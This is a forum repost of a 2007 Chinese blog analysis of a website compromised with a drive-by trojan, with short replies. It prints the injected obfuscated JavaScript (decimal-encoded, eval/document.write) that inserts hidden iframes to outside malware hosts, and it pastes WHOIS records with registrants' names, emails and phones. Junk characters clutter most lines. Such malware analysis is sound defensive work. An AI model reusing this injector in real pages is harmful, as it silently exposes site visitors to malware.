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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, ~9APc{"A  
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http://www.areway.cn/?p=175 5m'AT]5Tn_  
vO$cF*  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: ceJ#>Rj  
          R+ \%  
<script>t=’60,105,102,114,97,109,101, d0}(d Gl  
32,115,114,99,61,104,116,116,112,58,47,47, K"t?  
102,114,101,101,46,117,45,117,117,117,46,99, NAtDt=  
110,47,101,114,114,111,114,46,104,116,109, ID`C  
32,119,105,100,116,104,61,49,48,48,32,104, -1B.A  
101,105,103,104,116,61,48,62,60,47,105,102, 6ERMn"[_w  
114,97,109,101,62′; #wT6IU1  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> x&J\swN9  
                                                                                                  KwMt@1Z  
<script>t=’60,105,102,114,97,109,101,32,115, 2<OU)rVE4  
114,99,61,104,116,116,112,58,47,47,102,114, -z. wAp  
101,101,46,117,45,117,117,117,46,99,110,47, CV^%'HIs?+  
101,114,114,111,114,46,104,116,109,32,119, Dz$w6 d  
105,100,116,104,61,49,48,48,32,104,101,105, LKI\(%ba#  
103,104,116,61,48,62,60,47,105,102,114,97, ,<K+.7,)E  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); G"m0[|XH  
document.write(t);</script> oB!Y)f6H1  
                                                                                                  UkD\ma  
<html xmlns=” [O^/"Qk  
http://www.w3.org/1999/xhtml d])ctxB  
“> e0TxJ*  
<head> RLL ph  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> gCsN\z  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> ZZ{c  
<title>首页 - 爱生活家庭网 S?`0,F  
                                                                                                                                                    r)-{~JA!  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 Jb$G  
转换字符串后的大概内容是(谁点击后果自付): 12L`Gi  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… jyF*JQjK4  
                                                                                                                                  B_[I/ ?  
查询玉米u-uuu.cn的详细信息: $ S3b<]B  
Domain Name: u-uuu.cn A p?,y?  
ROID: 20070901s10001s64972306-cn JAjiG^]  
Domain Status: ok ?kZ-,@h:  
Registrant Organization: 王雷 3mYW]  
Registrant Name: 王雷 `Rq|*:LV  
Administrative Email: czlovexs@126.com "XV@O jr E  
Sponsoring Registrar: 北京万网志成科技有限公司 Q_fgpjEh/t  
Name Server:ns.yovole.com 6Hb a@Q1`  
Name Server:ns1.yovole.com PHT<]:"`<  
Registration Date: 2007-09-01 17:54 'l!\2Wv2  
Expiration Date: 2008-09-01 17:54 l,Y5VGiH#  
最后PING了一下地址 都没有什么…. Wk3-J&QbS  
                                                                                                2brY\c F  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. r{d@74  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> CeOA_M  
<script language=”javascript” src=” Go:(R {P  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script !nJl.Y$  
> am3JzH  
这个玉米应该有可能是木马作者的: #E=8kbD7  
foafau.info的详细信息: i" u|119  
Access to INFO WHOIS information is provided to assist persons in i Pr(X  
determining the contents of a domain name registration record in the VfJ{);   
Afilias registry database. The data in this record is provided by A9SL|9Q  
Afilias Limited for informational purposes only, and Afilias does not n2-+.9cY  
guarantee its accuracy.  This service is intended only for query-based ami>Pp  
access. You agree that you will use this data only for lawful purposes OW=3t#"7Kp  
and that, under no circumstances will you use this data to: (a) allow, g8'8"9:xC  
enable, or otherwise support the transmission by e-mail, telephone, or "]p&7  
facsimile of mass unsolicited, commercial advertising or solicitations `{K-eHlrM9  
to entities other than the data recipient’s own existing customers; or b@4UR<  
(b) enable high volume, automated, electronic processes that send !D{z. KO  
queries or data to the systems of Registry Operator, a Registrar, or }m?Ut|  
Afilias except as reasonably necessary to register domain names or Jia@HrLR  
modify existing registrations. All rights reserved. Afilias reserves {Y-'i;j?  
the right to modify these terms at any time. By submitting this query, `Nvhp]E  
you agree to abide by this policy. BcpbS%S  
Domain ID:D22418703-LRMS GwDOxH'  
Domain Name:FOAFAU.INFO NWiDNK[VE}  
Created On:20-Nov-2007 16:05:42 UTC 5QXU"kWH  
Last Updated On:20-Nov-2007 16:05:44 UTC zb[kRo&a0W  
Expiration Date:20-Nov-2008 16:05:42 UTC iNi1+sm  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) LzLJ6A>;R  
Status:CLIENT DELETE PROHIBITED ]Z\W%'q+  
Status:CLIENT RENEW PROHIBITED l}-k>fug  
Status:CLIENT TRANSFER PROHIBITED ziO(`"v  
Status:CLIENT UPDATE PROHIBITED fX,O9d$  
Status:TRANSFER PROHIBITED WW3Jxd  
Registrant ID:GODA-040110615 8/)q$zs  
Registrant Name:liu hong !F~1+V>zP  
Registrant Organization: bxxLAWQ(  
Registrant Street1:beijing \6APU7S  
Registrant Street2: B[YyA  
Registrant Street3: FdnLxw  
Registrant City:beijing [bo"!Qk%  
Registrant State/Province: 3l`"(5  
Registrant Postal Code:100000 cy mC?8<  
Registrant Country:CN .Xf_U.h$*@  
Registrant Phone:+86.860108888777 "8z Me L  
Registrant Phone Ext.: Si~wig2  
Registrant FAX: ljrJC  
Registrant FAX Ext.: 6=JJ!`"<2  
Registrant Email:bbbshiji@163.com Cpd>xXZz&S  
Admin ID:GODA-240110615 ' ZTRl+  
Admin Name:liu hong +ru`Zw5,  
Admin Organization: .i_ gE5  
Admin Street1:beijing lQ ki58.  
Admin Street2: ?RG;q  
Admin Street3: nSSJl  
Admin City:beijing jZidT9[g  
Admin State/Province: U)-aecB!  
Admin Postal Code:100000 avG#0AY  
Admin Country:CN \,p?pL<'  
Admin Phone:+86.860108888777 )q4nyT>M  
Admin Phone Ext.: >a2[P"   
Admin FAX: ,*lns.|n  
Admin FAX Ext.: 2w1Mf<IXPo  
Admin Email:bbbshiji@163.com 5Y`4%*$  
Billing ID:GODA-340110615 N`N=}&v ]  
Billing Name:liu hong T$r/XAs  
Billing Organization: BDPE.8s  
Billing Street1:beijing pcscNUp  
Billing Street2: r/NaoIrJV  
Billing Street3: AZNo%!)o  
Billing City:beijing <T.R%Jys  
Billing State/Province: <)O#Y76s  
Billing Postal Code:100000 q\!"FDOl4  
Billing Country:CN vFLE%z{\o  
Billing Phone:+86.860108888777 #LR6wEk  
Billing Phone Ext.: .*YOyK3H  
Billing FAX: h \`(  
Billing FAX Ext.: O\yYCi(  
Billing Email:bbbshiji@163.com 6z~ [Ay  
Tech ID:GODA-140110615 3 Z SU^v  
Tech Name:liu hong }*-fh$QJ  
Tech Organization: p*cyW l  
Tech Street1:beijing Mx93D   
Tech Street2:  r?0w5I  
Tech Street3: 5B8/"G  
Tech City:beijing *qL2=2  
Tech State/Province: }/NjZ*u  
Tech Postal Code:100000 p.4Sgeh#  
Tech Country:CN ^HP$r*  
Tech Phone:+86.860108888777 MGw XZ7?E  
Tech Phone Ext.: -Tuk.>i)  
Tech FAX: Qqb%^}Xx'u  
Tech FAX Ext.: *Y53b Z  
Tech Email:bbbshiji@163.com H)*%eG~  
Name Server:NS27.DOMAINCONTROL.COM K|~ !oQ  
Name Server:NS28.DOMAINCONTROL.COM q(s0dkrj  
Name Server: {t0!N]'  
Name Server: C$ at9=(E6  
Name Server: wp~KrUlR  
Name Server: T72Z<h|<  
Name Server: Avljrds+7  
Name Server: zKYN5|17  
Name Server: 5>1c4u`x  
Name Server: F)'_,.?0  
Name Server: i+I.>L/S  
Name Server: }L{GwiDMDl  
Name Server: =.m/ X>  
                                                                                                          srImk6YD  
接着下载每个文件里面的代码: #z_.!E  
一步一步看.. bccf4EyQ Y  
 UiK)m:NU  
8r,0Qic2K  
+W[{UC4b  
0_^3 |n  
<7ag=IgDy  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
级别: 店掌柜
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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